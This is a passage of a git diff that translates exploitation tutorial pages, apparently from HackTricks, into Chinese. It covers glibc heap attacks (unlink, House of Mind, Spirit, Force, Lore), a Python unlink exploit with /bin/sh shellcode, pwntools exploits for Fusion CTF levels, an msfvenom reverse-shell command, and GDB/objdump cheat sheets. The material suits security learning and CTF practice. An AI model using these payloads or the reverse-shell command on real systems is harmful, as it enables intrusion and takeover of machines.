chunk\ +BK = P->bk; —> 新块的BK是之前空闲块的BK\ +FD = P->fd; —> 新块的FD是之前空闲块的FD\ +FD->bk = BK; —> 下一个块的BK指向新块\ +BK->fd = FD; —> 上一个块的FD指向新块\ } -Por lo tanto si conseguimos modificar el P->bk con la dirección de un shellcode y el P->fd con la dirección a una entrada en la GOT o DTORS menos 12 se logra: +因此,如果我们能够将P->bk修改为shellcode的地址,并将P->fd修改为GOT或DTORS的入口地址减去12,则可以实现: BK = P->bk = \&shellcode\ FD = P->fd = &\_\_dtor_end\_\_ - 12\ FD->bk = BK -> \*((&\_\_dtor_end\_\_ - 12) + 12) = \&shellcode -Y así se se ejecuta al salir del programa la shellcode. +这样在程序退出时将执行shellcode。 -Además, la 4º sentencia de unlink() escribe algo y la shellcode tiene que estar reparada para esto: +此外,unlink()的第4条语句写入某些内容,shellcode必须为此进行修复: -BK->fd = FD -> \*(\&shellcode + 8) = (&\_\_dtor_end\_\_ - 12) —> Esto provoca la escritura de 4 bytes a partir del 8º byte de la shellcode, por lo que la primera instrucción de la shellcode debe ser un jmp para saltar esto y caer en unos nops que lleven al resto de la shellcode. +BK->fd = FD -> \*(\&shellcode + 8) = (&\_\_dtor_end\_\_ - 12) —> 这将导致从shellcode的第8个字节开始写入4个字节,因此shellcode的第一条指令必须是一个jmp,以跳过这一部分并落入一些nops中,继续执行其余的shellcode。 -Por lo tanto el exploit se crea: +因此,利用程序的创建如下: -En el buffer1 metemos la shellcode comenzando por un jmp para que caiga en los nops o en el resto de la shellcode. +在buffer1中放入shellcode,从jmp开始,以便落入nops或其余的shellcode。 -Después de la shell code metemos relleno hasta llegar al campo prev_size y size del siguiente trozo. En estos sitios metemos 0xfffffff0 (de forma que se sobrescrita el prev_size para que tenga el bit que dice que está libre) y “-4“(0xfffffffc) en el size (para que cuando compruebe en el 3º trozo si el 2º estaba libre en realidad vaya al prev_size modificado que le dirá que s´está libre) -> Así cuando free() investigue irá al size del 3º pero en realidad irá al 2º - 4 y pensará que el 2º trozo está libre. Y entonces llamará a **unlink()**. +在shellcode之后填充,直到到达下一个块的prev_size和size字段。在这些位置放入0xfffffff0(以便覆盖prev_size,使其具有表示空闲的位)和“-4”(0xfffffffc)在size中(以便当检查第三个块时,如果第二个块实际上是空闲的,它将转到修改后的prev_size,告诉它是空闲的)-> 这样,当free()检查时,它将转到第三个块的size,但实际上将转到第二个块-4,并认为第二个块是空闲的。然后将调用**unlink()**。 -Al llamar a unlink() usará como P->fd los primeros datos del 2º trozo por lo que ahí se meterá la dirección que se quieres sobreescribir - 12(pues en FD->bk le sumará 12 a la dirección guardada en FD) . Y en esa dirección introducirá la segunda dirección que encuentre en el 2º trozo, que nos interesará que sea la dirección a la shellcode(P->bk falso). +调用unlink()时,将使用第二个块的前几个数据作为P->fd,因此将放入要覆盖的地址-12(因为在FD->bk中将加12到存储在FD中的地址)。在该地址中,将放入第二个块中找到的地址,我们希望它是指向shellcode的地址(伪造的P->bk)。 **from struct import \*** **import os** -**shellcode = "\xeb\x0caaaabbbbcccc" #jm 12 + 12bytes de relleno** +**shellcode = "\xeb\x0caaaabbbbcccc" #jm 12 + 12字节填充** **shellcode += "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" \\** @@ -265,73 +255,73 @@ Al llamar a unlink() usará como P->fd los primeros datos del 2º trozo por lo q **"\x80\xe8\xdc\xff\xff\xff/bin/sh";** -**prev_size = pack("\ Devuelve un puntero a la dirección donde comienza el trozo (mem-8) +p = mem2chunk(mem); —> 返回指向块开始的地址的指针(mem-8) … @@ -351,11 +341,11 @@ ar_ptr = arena_for_chunk(p); —> chunk_non_main_arena(ptr)?heap_for_ptr(ptr)->a } -En \[1] comprueba el campo size el bit NON_MAIN_ARENA, el cual se puede alterar para que la comprobación devuelva true y ejecute heap_for_ptr() que hace un and a “mem” dejando a 0 los 2.5 bytes menos importantes (en nuestro caso de 0x0804a000 deja 0x08000000) y accede a 0x08000000->ar_ptr (como si fuese un struct heap_info) +在\[1]中检查size字段的NON_MAIN_ARENA位,可以更改以使检查返回true并执行heap_for_ptr(),该函数对“mem”进行与运算,将2.5个最不重要的字节置为0(在我们的情况下,从0x0804a000变为0x08000000),并访问0x08000000->ar_ptr(就像是一个struct heap_info)。 -De esta forma si podemos controlar un trozo por ejemplo en 0x0804a000 y se va a liberar un trozo en **0x081002a0** podemos llegar a la dirección 0x08100000 y escribir lo que queramos, por ejemplo **0x0804a000**. Cuando este segundo trozo se libere se encontrará que heap_for_ptr(ptr)->ar_ptr devuelve lo que hemos escrito en 0x08100000 (pues se aplica a 0x081002a0 el and que vimos antes y de ahí se saca el valor de los 4 primeros bytes, el ar_ptr) +通过这种方式,如果我们可以控制一个块,例如在0x0804a000,并且将释放一个块在**0x081002a0**,我们可以到达地址0x08100000并写入我们想要的内容,例如**0x0804a000**。当第二个块被释放时,将发现heap_for_ptr(ptr)->ar_ptr返回我们在0x08100000中写入的内容(因为对0x081002a0应用了之前看到的与运算,从中提取前4个字节的值,即ar_ptr)。 -De esta forma se llama a \_int_free(ar_ptr, mem), es decir, **\_int_free(0x0804a000, 0x081002a0)**\ +通过这种方式调用\_int_free(ar_ptr, mem),即**\_int_free(0x0804a000, 0x081002a0)**\ **\_int_free(mstate av, Void_t\* mem){**\ …\ bck = unsorted_chunks(av);\ @@ -367,36 +357,36 @@ fwd->bk = p; ..} -Como hemos visto antes podemos controlar el valor de av, pues es lo que escribimos en el trozo que se va a liberar. +正如我们之前看到的,我们可以控制av的值,因为这是我们在将要释放的块中写入的内容。 -Tal y como se define unsorted_chunks, sabemos que:\ +根据unsorted_chunks的定义,我们知道:\ bck = \&av->bins\[2]-8;\ fwd = bck->fd = \*(av->bins\[2]);\ fwd->bk = \*(av->bins\[2] + 12) = p; -Por lo tanto si en av->bins\[2] escribimos el valor de \_\_DTOR_END\_\_-12 en la última instrucción se escribirá en \_\_DTOR_END\_\_ la dirección del segundo trozo. +因此,如果在av->bins\[2]中写入\_\_DTOR_END\_\_-12的值,在最后一条指令中将写入\_\_DTOR_END\_\_的地址。 -Es decir, en el primer trozo tenemos que poner al inicio muchas veces la dirección de \_\_DTOR_END\_\_-12 porque de ahí la sacará av->bins\[2] +也就是说,在第一个块的开头多次放入\_\_DTOR_END\_\_-12的地址,因为av->bins\[2]将从那里获取。 -En la dirección que caiga la dirección del segundo trozo con los últimos 5 ceros hay que escribir la dirección a este primer trozo para que heap_for_ptr() piense que el ar_ptr está al inicio del primer trozo y saque de ahí el av->bins\[2] +在最后5个零的第二个块的地址中,需要写入指向第一个块的地址,以便heap_for_ptr()认为ar_ptr位于第一个块的开头,并从中提取av->bins\[2]。 -En el segundo trozo y gracias al primero sobreescribimos el prev_size con un jump 0x0c y el size con algo para activar -> NON_MAIN_ARENA +在第二个块中,借助第一个块,我们将prev_size覆盖为一个跳转0x0c,并将size设置为某个值以激活-> NON_MAIN_ARENA。 -A continuación en el trozo 2 ponemos un montón de nops y finalmente la shellcode +接下来,在块2中放入一堆nops,最后是shellcode。 -De esta forma se llamará a \_int_free(TROZO1, TROZO2) y seguirá las instrucciones para escribir en \_\_DTOR_END\_\_ la dirección del prev_size del TROZO2 el cual saltará a la shellcode. +通过这种方式,将调用\_int_free(TROZO1, TROZO2),并按照指示在\_\_DTOR_END\_\_中写入第二个块的prev_size地址,该地址将跳转到shellcode。 -Para aplicar esta técnica hace falta que se cumplan algunos requerimientos más que complican un poco más el payload. +要应用此技术,还需要满足一些额外的要求,这使得负载更加复杂。 -Esta técnica ya no es aplicable pues se aplicó casi el mismo parche que para unlink. Se comparan si el nuevo sitio al que se apunta también le está apuntando a él. +此技术不再适用,因为对unlink应用了几乎相同的补丁。它们比较新的指针是否也指向自己。 -**Fastbin** +**快速bin** -Es una variante de The house of mind +这是心灵之家的一个变体。 -nos interesa llegar a ejecutar el siguiente código al cuál se llega pasada la primera comprobación de la función \_int_free() +我们希望在通过\_int_free()的第一次检查后执行以下代码: -fb = &(av->fastbins\[fastbin_index(size)] —> Siendo fastbin_index(sz) —> (sz >> 3) - 2 +fb = &(av->fastbins\[fastbin_index(size)] —> 其中fastbin_index(sz) —> (sz >> 3) - 2 … @@ -404,61 +394,61 @@ p->fd = \*fb \*fb = p -De esta forma si se pone en “fb” da dirección de una función en la GOT, en esta dirección se pondrá la dirección al trozo sobrescrito. Para esto será necesario que la arena esté cerca de las direcciones de dtors. Más exactamente que av->max_fast esté en la dirección que vamos a sobreescribir. +通过这种方式,如果在“fb”中放入指向GOT中某个函数的地址,则将在该地址中放入指向被覆盖块的地址。为此,arena必须接近dtors的地址。更确切地说,av->max_fast必须在我们要覆盖的地址中。 -Dado que con The House of Mind se vio que nosotros controlábamos la posición del av. +由于在心灵之家中,我们看到我们控制了av的位置。 -Entones si en el campo size ponemos un tamaño de 8 + NON_MAIN_ARENA + PREV_INUSE —> fastbin_index() nos devolverá fastbins\[-1], que apuntará a av->max_fast +因此,如果在size字段中放入8 + NON_MAIN_ARENA + PREV_INUSE —> fastbin_index()将返回fastbins\[-1],这将指向av->max_fast。 -En este caso av->max_fast será la dirección que se sobrescrita (no a la que apunte, sino esa posición será la que se sobrescrita). +在这种情况下,av->max_fast将是要被覆盖的地址(而不是指向的地址,而是该位置将被覆盖)。 -Además se tiene que cumplir que el trozo contiguo al liberado debe ser mayor que 8 -> Dado que hemos dicho que el size del trozo liberado es 8, en este trozo falso solo tenemos que poner un size mayor que 8 (como además la shellcode irá en el trozo liberado, habrá que poner al ppio un jmp que caiga en nops). +此外,必须满足释放的相邻块必须大于8的条件-> 由于我们说释放的块的size为8,因此在这个伪造的块中只需放入大于8的size(因为shellcode将放在释放的块中,因此在开头需要放入一个jmp,跳转到nops)。 -Además, ese mismo trozo falso debe ser menor que av->system_mem. av->system_mem se encuentra 1848 bytes más allá. +此外,该伪造块必须小于av->system_mem。av->system_mem位于更高1848字节的位置。 -Por culpa de los nulos de \_DTOR_END\_ y de las pocas direcciones en la GOT, ninguna dirección de estas secciones sirven para ser sobrescritas, así que veamos como aplicar fastbin para atacar la pila. +由于\_DTOR_END\_的零和GOT中可用地址的稀缺,这些部分中的任何地址都无法被覆盖,因此让我们看看如何应用快速bin来攻击堆栈。 -Otra forma de ataque es redirigir el **av** hacia la pila. +另一种攻击方式是将**av**重定向到堆栈。 -Si modificamos el size para que de 16 en vez de 8 entonces: fastbin_index() nos devolverá fastbins\[0] y podemos hacer uso de esto para sobreescribir la pila. +如果我们将size修改为16而不是8,则:fastbin_index()将返回fastbins\[0],我们可以利用这一点来覆盖堆栈。 -Para esto no debe haber ningún canary ni valores raros en la pila, de hecho tenemos que encontrarnos en esta: 4bytes nulos + EBP + RET +为此,堆栈中不能有任何canary或奇怪的值,实际上我们必须处于:4个零字节 + EBP + RET -Los 4 bytes nulo se necesitan que el **av** estará a esta dirección y el primero elemento de un **av** es el mutexe que tiene que valer 0. +需要4个零字节,以确保**av**位于该地址,并且**av**的第一个元素是必须为0的互斥体。 -El **av->max_fast** será el EBP y será un valor que nos servirá para saltarnos las restricciones. +**av->max_fast**将是EBP,并且将是一个值,帮助我们跳过限制。 -En el **av->fastbins\[0]** se sobreescribirá con la dirección de **p** y será el RET, así se saltará a la shellcode. +在**av->fastbins\[0]**中将被覆盖为**p**的地址,并将是RET,这样将跳转到shellcode。 -Además, en **av->system_mem** (1484bytes por encima de la posición en la pila) habrá bastante basura que nos permitirá saltarnos la comprobación que se realiza. +此外,在**av->system_mem**(在堆栈位置上方1484字节)将有足够的垃圾,允许我们跳过进行的检查。 -Además se tiene que cumplir que el trozo contiguo al liberado debe ser mayor que 8 -> Dado que hemos dicho que el size del trozo liberado es 16, en este trozo falso solo tenemos que poner un size mayor que 8 (como además la shellcode irá en el trozo liberado, habrá que poner al ppio un jmp que caiga en nops que van después del campo size del nuevo trozo falso). +此外,必须满足释放的相邻块必须大于8的条件-> 由于我们说释放的块的size为16,因此在这个伪造的块中只需放入大于8的size(因为shellcode将放在释放的块中,因此在开头需要放入一个jmp,跳转到nops,位于新伪造块的size字段之后)。 -**The House of Spirit** +**精神之家** -En este caso buscamos tener un puntero a un malloc que pueda ser alterable por el atacante (por ej, que el puntero esté en el stack debajo de un posible overflow a una variable). +在这种情况下,我们希望拥有一个可以被攻击者修改的malloc指针(例如,指针位于可能溢出的变量下方的堆栈中)。 -Así, podríamos hacer que este puntero apuntase a donde fuese. Sin embargo, no cualquier sitio es válido, el tamaño del trozo falseado debe ser menor que av->max_fast y más específicamente igual al tamaño solicitado en una futura llamada a malloc()+8. Por ello, si sabemos que después de este puntero vulnerable se llama a malloc(40), el tamaño del trozo falso debe ser igual a 48. +这样,我们可以使该指针指向任何地方。然而,并非所有位置都是有效的,伪造块的大小必须小于av->max_fast,更具体地说,必须等于未来malloc()调用中请求的大小+8。因此,如果我们知道在此可变指针后会调用malloc(40),则伪造块的大小必须等于48。 -Si por ejemplo el programa preguntase al usuario por un número podríamos introducir 48 y apuntar el puntero de malloc modificable a los siguientes 4bytes (que podrían pertenecer al EBP con suerte, así el 48 queda por detrás, como si fuese la cabecera size). Además, la dirección ptr-4+48 debe cumplir varias condiciones (siendo en este caso ptr=EBP), es decir, 8 < ptr-4+48 < av->system_mem. +例如,如果程序询问用户输入一个数字,我们可以输入48,并将可修改的malloc指针指向接下来的4个字节(如果运气好,可能属于EBP,因此48位于后面,就像是头部size)。此外,地址ptr-4+48必须满足多个条件(在这种情况下ptr=EBP),即8 < ptr-4+48 < av->system_mem。 -En caso de que esto se cumpla, cuando se llame al siguiente malloc que dijimos que era malloc(40) se le asignará como dirección la dirección del EBP. En caso de que el atacante también pueda controlar lo que se escribe en este malloc puede sobreescribir tanto el EBP como el EIP con la dirección que quiera. +如果满足这些条件,当调用我们之前提到的malloc(40)时,将分配给EBP的地址。如果攻击者还可以控制写入此malloc的内容,则可以用所需的地址覆盖EBP和EIP。 -Esto creo que es porque así cuando lo libere free() guardará que en la dirección que apunta al EBP del stack hay un trozo de tamaño perfecto para el nuevo malloc() que se quiere reservar, así que le asigna esa dirección. +我认为这是因为当释放时,free()将记录在指向堆栈的EBP的地址中有一个适合新malloc()请求的块,因此将分配该地址。 -**The House of Force** +**力量之家** -Es necesario: +需要: -- Un overflow a un trozo que permita sobreescribir el wilderness -- Una llamada a malloc() con el tamaño definido por el usuario -- Una llamada a malloc() cuyos datos puedan ser definidos por el usuario +- 溢出一个块以覆盖wilderness +- 一次malloc()调用,大小由用户定义 +- 一次malloc()调用,其数据可以由用户定义 -Lo primero que se hace es sobreescribir el size del trozo wilderness con un valor muy grande (0xffffffff), así cual quiera solicitud de memoria lo suficientemente grande será tratada en \_int_malloc() sin necesidad de expandir el heap +首先,覆盖wilderness块的size为一个非常大的值(0xffffffff),因此任何足够大的内存请求将在\_int_malloc()中处理,而无需扩展堆。 -Lo segundo es alterar el av->top para que apunte a una zona de memoria bajo el control del atacante, como el stack. En av->top se pondrá \&EIP - 8. +其次,修改av->top,使其指向攻击者控制的内存区域,例如堆栈。在av->top中放入\&EIP - 8。 -Tenemos que sobreescrbir av->top para que apunte a la zona de memoria bajo el control del atacante: +我们必须覆盖av->top,使其指向攻击者控制的内存区域: victim = av->top; @@ -466,86 +456,86 @@ remainder = chunck_at_offset(victim, nb); av->top = remainder; -Victim recoge el valor de la dirección del trozo wilderness actual (el actual av->top) y remainder es exactamente la suma de esa dirección más la cantidad de bytes solicitados por malloc(). Por lo que si \&EIP-8 está en 0xbffff224 y av->top contiene 0x080c2788, entonces la cantidad que tenemos que reservar en el malloc controlado para que av->top quede apuntando a $EIP-8 para el próximo malloc() será: +Victim获取当前wilderness块的地址(当前av->top),而remainder正好是该地址加上malloc()请求的字节数。因此,如果\&EIP-8在0xbffff224,av->top包含0x080c2788,则我们在控制的malloc中需要保留的数量,以便av->top指向$EIP-8的下一个malloc()将是: -0xbffff224 - 0x080c2788 = 3086207644. +0xbffff224 - 0x080c2788 = 3086207644。 -Así se guardará en av->top el valor alterado y el próximo malloc apuntará al EIP y lo podrá sobreescribir. +因此,av->top将保存修改后的值,下一个malloc将指向EIP并能够覆盖它。 -Es importante saber que el size del nuevo trozo wilderness sea más grande que la solicitud realizada por el último malloc(). Es decir, si el wilderness está apuntando a \&EIP-8, el size quedará justo en el campo EBP del stack. +重要的是,新的wilderness块的size必须大于最后一次malloc()请求的大小。也就是说,如果wilderness指向\&EIP-8,size将正好位于堆栈的EBP字段中。 -**The House of Lore** +**传说之家** -**Corrupción SmallBin** +**SmallBin腐败** -Los trozos liberados se introducen en el bin en función de su tamaño. Pero antes de introduciros se guardan en unsorted bins. Un trozo es liberado no se mete inmediatamente en su bin sino que se queda en unsorted bins. A continuación, si se reserva un nuevo trozo y el anterior liberado le puede servir se lo devuelve, pero si se reserva más grande, el trozo liberado en unsorted bins se mete en su bin adecuado. +释放的块根据其大小插入bin。但在插入之前,它们会保留在未排序的bins中。释放的块不会立即放入其bin,而是停留在未排序的bins中。接下来,如果请求一个新块,而之前释放的块可以使用,则将其返回,但如果请求更大的块,则未排序的bins中的释放块将放入其适当的bin中。 -Para alcanzar el código vulnerable la solicitud de memora deberá ser mayor a av->max_fast (72normalmente) y menos a MIN_LARGE_SIZE (512). +要达到易受攻击的代码,内存请求必须大于av->max_fast(通常为72)且小于MIN_LARGE_SIZE(512)。 -Si en los bin hay un trozo del tamaño adecuado a lo que se pide se devuelve ese después de desenlazarlo: +如果bin中有适合请求的块,则在解除链接后返回该块: -bck = victim->bk; Apunta al trozo anterior, es la única info que podemos alterar. +bck = victim->bk; 指向前一个块,这是我们可以更改的唯一信息。 -bin->bk = bck; El penúltimo trozo pasa a ser el último, en caso de que bck apunte al stack al siguiente trozo reservado se le dará esta dirección +bin->bk = bck; 倒数第二个块变为最后一个,如果bck指向堆栈,则下一个请求的块将获得此地址。 -bck->fd = bin; Se cierra la lista haciendo que este apunte a bin +bck->fd = bin; 关闭列表,使其指向bin。 -Se necesita: +需要: -Que se reserven dos malloc, de forma que al primero se le pueda hacer overflow después de que el segundo haya sido liberado e introducido en su bin (es decir, se haya reservado un malloc superior al segundo trozo antes de hacer el overflow) +请求两个malloc,以便在第一个malloc释放后可以溢出第二个malloc(即,在溢出之前请求一个大于第二个块的malloc)。 -Que el malloc reservado al que se le da la dirección elegida por el atacante sea controlada por el atacante. +请求的malloc由攻击者控制。 -El objetivo es el siguiente, si podemos hacer un overflow a un heap que tiene por debajo un trozo ya liberado y en su bin, podemos alterar su puntero bk. Si alteramos su puntero bk y este trozo llega a ser el primero de la lista de bin y se reserva, a bin se le engañará y se le dirá que el último trozo de la lista (el siguiente en ofrecer) está en la dirección falsa que hayamos puesto (al stack o GOT por ejemplo). Por lo que si se vuelve a reservar otro trozo y el atacante tiene permisos en él, se le dará un trozo en la posición deseada y podrá escribir en ella. +目标如下,如果我们可以对一个堆溢出,且其下方有一个已释放的块并在其bin中,我们可以更改其bk指针。如果我们更改其bk指针,并且该块成为bin列表的第一个块并被请求,则bin将被欺骗,告知最后一个块的地址(下一个提供的块)在我们放置的虚假地址(例如堆栈或GOT)中。因此,如果再次请求另一个块,并且攻击者在其中有权限,则将提供一个块在所需位置,并且可以在其中写入。 -Tras liberar el trozo modificado es necesario que se reserve un trozo mayor al liberado, así el trozo modificado saldrá de unsorted bins y se introduciría en su bin. +在释放修改后的块后,必须请求一个大于已释放块的块,这样修改后的块将从未排序的bins中移出并放入其bin中。 -Una vez en su bin es el momento de modificarle el puntero bk mediante el overflow para que apunte a la dirección que queramos sobreescribir. +一旦在其bin中,是时候通过溢出修改其bk指针,以便指向我们想要覆盖的地址。 -Así el bin deberá esperar turno a que se llame a malloc() suficientes veces como para que se vuelva a utilizar el bin modificado y engañe a bin haciéndole creer que el siguiente trozo está en la dirección falsa. Y a continuación se dará el trozo que nos interesa. +因此,bin将等待足够多的malloc()调用,以便再次使用修改后的bin并欺骗bin,使其认为下一个块在虚假地址中。然后将提供我们感兴趣的块。 -Para que se ejecute la vulnerabilidad lo antes posible lo ideal sería: Reserva del trozo vulnerable, reserva del trozo que se modificará, se libera este trozo, se reserva un trozo más grande al que se modificará, se modifica el trozo (vulnerabilidad), se reserva un trozo de igual tamaño al vulnerado y se reserva un segundo trozo de igual tamaño y este será el que apunte a la dirección elegida. +为了尽快执行漏洞,理想情况下是:请求易受攻击的块,请求将被修改的块,释放该块,请求一个大于将被修改的块,修改该块(漏洞),请求与被修改的块相同大小的块,并请求第二个相同大小的块,这将指向所选地址。 -Para proteger este ataque se uso la típica comprobación de que el trozo “no” es falso: se comprueba si bck->fd está apuntando a victim. Es decir, en nuestro caso si el puntero fd\* del trozo falso apuntado en el stack está apuntando a victim. Para sobrepasar esta protección el atacante debería ser capaz de escribir de alguna forma (por el stack probablemente) en la dirección adecuada la dirección de victim. Para que así parezca un trozo verdadero. +为了保护此攻击,使用了典型的检查,以确保块“不是”虚假的:检查bck->fd是否指向victim。也就是说,在我们的情况下,检查指向堆栈中虚假块的fd*指针是否指向victim。为了绕过此保护,攻击者应能够以某种方式(可能通过堆栈)在适当的地址写入victim的地址。这样看起来就像是一个真实的块。 -**Corrupción LargeBin** +**LargeBin腐败** -Se necesitan los mismos requisitos que antes y alguno más, además los trozos reservados deben ser mayores a 512. +需要与之前相同的要求以及更多要求,此外,已请求的块必须大于512。 -El ataque es como el anterior, es decir, ha que modificar el puntero bk y se necesitan todas esas llamadas a malloc(), pero además hay que modificar el size del trozo modificado de forma que ese size - nb sea < MINSIZE. +攻击与之前相同,即需要修改bk指针,并且需要所有这些malloc()调用,但还需要修改修改块的size,以便该size - nb < MINSIZE。 -Por ejemplo hará que poner en size 1552 para que 1552 - 1544 = 8 < MINSIZE (la resta no puede quedar negativa porque se compara un unsigned) +例如,将size设置为1552,以便1552 - 1544 = 8 < MINSIZE(减法不能为负,因为比较的是无符号数)。 -Además se ha introducido un parche para hacerlo aún más complicado. +此外,已引入补丁以使其更加复杂。 -**Heap Spraying** +**堆喷涂** -Básicamente consiste en reservar tooda la memoria posible para heaps y rellenar estos con un colchón de nops acabados por una shellcode. Además, como colchón se utiliza 0x0c. Pues se intentará saltar a la dirección 0x0c0c0c0c, y así si se sobreescribe alguna dirección a la que se vaya a llamar con este colchón se saltará allí. Básicamente la táctica es reservar lo máximos posible para ver si se sobreescribe algún puntero y saltar a 0x0c0c0c0c esperando que allí haya nops. +基本上,它涉及请求尽可能多的堆内存,并用以nops结尾的shellcode填充这些内存。此外,作为填充,使用0x0c。因为将尝试跳转到地址0x0c0c0c0c,因此如果覆盖了将要调用的某个地址,则将跳转到那里。基本上,策略是请求尽可能多的内存,以查看是否覆盖了某个指针并跳转到0x0c0c0c0c,期待那里有nops。 -**Heap Feng Shui** +**堆风水** -Consiste en mediante reservas y liberaciones sementar la memoria de forma que queden trozos reservados entre medias de trozos libres. El buffer a desbordar se situará en uno de los huevos. +通过请求和释放内存,旨在使内存中保留已请求块与空闲块之间的块。要溢出的缓冲区将位于其中一个块中。 -**objdump -d ejecutable** —> Disas functions\ -**objdump -d ./PROGRAMA | grep FUNCION** —> Get function address\ -**objdump -d -Mintel ./shellcodeout** —> Para ver que efectivamente es nuestra shellcode y sacar los OpCodes\ -**objdump -t ./exec | grep varBss** —> Tabla de símbolos, para sacar address de variables y funciones\ -**objdump -TR ./exec | grep exit(func lib)** —> Para sacar address de funciones de librerías (GOT)\ +**objdump -d 可执行文件** —> 反汇编函数\ +**objdump -d ./PROGRAM | grep FUNCTION** —> 获取函数地址\ +**objdump -d -Mintel ./shellcodeout** —> 查看确实是我们的shellcode并提取操作码\ +**objdump -t ./exec | grep varBss** —> 符号表,以提取变量和函数的地址\ +**objdump -TR ./exec | grep exit(func lib)** —> 提取库函数的地址(GOT)\ **objdump -d ./exec | grep funcCode**\ **objdump -s -j .dtors /exec**\ **objdump -s -j .got ./exec**\ -**objdump -t --dynamic-relo ./exec | grep puts** —> Saca la dirección de puts a sobreescribir en le GOT\ -**objdump -D ./exec** —> Disas ALL hasta las entradas de la plt\ +**objdump -t --dynamic-relo ./exec | grep puts** —> 提取要在GOT中覆盖的puts地址\ +**objdump -D ./exec** —> 反汇编所有内容,直到plt的条目\ **objdump -p -/exec**\ -**Info functions strncmp —>** Info de la función en gdb +**Info functions strncmp —>** gdb中的函数信息 -## Interesting courses +## 有趣的课程 - [https://guyinatuxedo.github.io/](https://guyinatuxedo.github.io) - [https://github.com/RPISEC/MBE](https://github.com/RPISEC/MBE) - [https://ir0nstone.gitbook.io/notes](https://ir0nstone.gitbook.io/notes) -## **References** +## **参考文献** - [**https://guyinatuxedo.github.io/7.2-mitigation_relro/index.html**](https://guyinatuxedo.github.io/7.2-mitigation_relro/index.html) diff --git a/src/exploiting/linux-exploiting-basic-esp/fusion.md b/src/exploiting/linux-exploiting-basic-esp/fusion.md index 344a72d02..29a294a48 100644 --- a/src/exploiting/linux-exploiting-basic-esp/fusion.md +++ b/src/exploiting/linux-exploiting-basic-esp/fusion.md @@ -4,9 +4,8 @@ [http://exploit-exercises.lains.space/fusion/level00/](http://exploit-exercises.lains.space/fusion/level00/) -1. Get offset to modify EIP -2. Put shellcode address in EIP - +1. 获取修改 EIP 的偏移量 +2. 将 shellcode 地址放入 EIP ```python from pwn import * @@ -32,9 +31,7 @@ r.recvline() r.send(buf) r.interactive() ``` - # Level01 - ```python from pwn import * @@ -60,5 +57,4 @@ buf += "\x65\xd9\x0f\x01" r.send(buf) r.interactive() ``` - {{#include ../../banners/hacktricks-training.md}} diff --git a/src/exploiting/tools/README.md b/src/exploiting/tools/README.md index 0ca40e712..2689f6c2d 100644 --- a/src/exploiting/tools/README.md +++ b/src/exploiting/tools/README.md @@ -1,9 +1,8 @@ -# Exploiting Tools +# 利用工具 {{#include ../../banners/hacktricks-training.md}} ## Metasploit - ``` pattern_create.rb -l 3000 #Length pattern_offset.rb -l 3000 -q 5f97d534 #Search offset @@ -11,31 +10,23 @@ nasm_shell.rb nasm> jmp esp #Get opcodes msfelfscan -j esi /opt/fusion/bin/level01 ``` - ### Shellcodes - ``` msfvenom /p windows/shell_reverse_tcp LHOST= LPORT= [EXITFUNC=thread] [-e x86/shikata_ga_nai] -b "\x00\x0a\x0d" -f c ``` - ## GDB -### Install - +### 安装 ``` apt-get install gdb ``` - -### Parameters - +### 参数 ```bash -q # No show banner -x # Auto-execute GDB instructions from here -p # Attach to process ``` - -### Instructions - +### 指令 ```bash run # Execute start # Start and break in main @@ -81,9 +72,7 @@ x/s pointer # String pointed by the pointer x/xw &pointer # Address where the pointer is located x/i $eip # Instructions of the EIP ``` - ### [GEF](https://github.com/hugsy/gef) - ```bash help memory # Get help on memory command canary # Search for canary value in memory @@ -113,34 +102,32 @@ shellcode get 61 #Download shellcode number 61 1- Put a bp after the function that overwrites the RIP and send a ppatern to ovwerwrite it 2- ef➤ i f Stack level 0, frame at 0x7fffffffddd0: - rip = 0x400cd3; saved rip = 0x6261617762616176 - called by frame at 0x7fffffffddd8 - Arglist at 0x7fffffffdcf8, args: - Locals at 0x7fffffffdcf8, Previous frame's sp is 0x7fffffffddd0 - Saved registers: - rbp at 0x7fffffffddc0, rip at 0x7fffffffddc8 +rip = 0x400cd3; saved rip = 0x6261617762616176 +called by frame at 0x7fffffffddd8 +Arglist at 0x7fffffffdcf8, args: +Locals at 0x7fffffffdcf8, Previous frame's sp is 0x7fffffffddd0 +Saved registers: +rbp at 0x7fffffffddc0, rip at 0x7fffffffddc8 gef➤ pattern search 0x6261617762616176 [+] Searching for '0x6261617762616176' [+] Found at offset 184 (little-endian search) likely ``` - ### Tricks -#### GDB same addresses +#### GDB 相同地址 -While debugging GDB will have **slightly different addresses than the used by the binary when executed.** You can make GDB have the same addresses by doing: +在调试时,GDB 的 **地址会与执行时二进制文件使用的地址略有不同。** 你可以通过以下方式使 GDB 拥有相同的地址: - `unset env LINES` - `unset env COLUMNS` -- `set env _=` _Put the absolute path to the binary_ -- Exploit the binary using the same absolute route -- `PWD` and `OLDPWD` must be the same when using GDB and when exploiting the binary +- `set env _=` _输入二进制文件的绝对路径_ +- 使用相同的绝对路径利用二进制文件 +- 使用 GDB 和利用二进制文件时,`PWD` 和 `OLDPWD` 必须相同 -#### Backtrace to find functions called - -When you have a **statically linked binary** all the functions will belong to the binary (and no to external libraries). In this case it will be difficult to **identify the flow that the binary follows to for example ask for user input**.\ -You can easily identify this flow by **running** the binary with **gdb** until you are asked for input. Then, stop it with **CTRL+C** and use the **`bt`** (**backtrace**) command to see the functions called: +#### 回溯以查找调用的函数 +当你有一个 **静态链接的二进制文件** 时,所有函数将属于该二进制文件(而不是外部库)。在这种情况下,**识别二进制文件的执行流程以例如请求用户输入** 将会很困难。\ +你可以通过 **运行** 二进制文件并 **使用 gdb** 直到被要求输入来轻松识别这个流程。然后,使用 **CTRL+C** 停止它,并使用 **`bt`** (**回溯**)命令查看调用的函数: ``` gef➤ bt #0 0x00000000004498ae in ?? () @@ -149,79 +136,74 @@ gef➤ bt #3 0x00000000004011a9 in ?? () #4 0x0000000000400a5a in ?? () ``` +### GDB 服务器 -### GDB server - -`gdbserver --multi 0.0.0.0:23947` (in IDA you have to fill the absolute path of the executable in the Linux machine and in the Windows machine) +`gdbserver --multi 0.0.0.0:23947`(在 IDA 中,您必须填写 Linux 机器上可执行文件的绝对路径,在 Windows 机器上也是如此) ## Ghidra -### Find stack offset +### 查找栈偏移量 -**Ghidra** is very useful to find the the **offset** for a **buffer overflow thanks to the information about the position of the local variables.**\ -For example, in the example below, a buffer flow in `local_bc` indicates that you need an offset of `0xbc`. Moreover, if `local_10` is a canary cookie it indicates that to overwrite it from `local_bc` there is an offset of `0xac`.\ -_Remember that the first 0x08 from where the RIP is saved belongs to 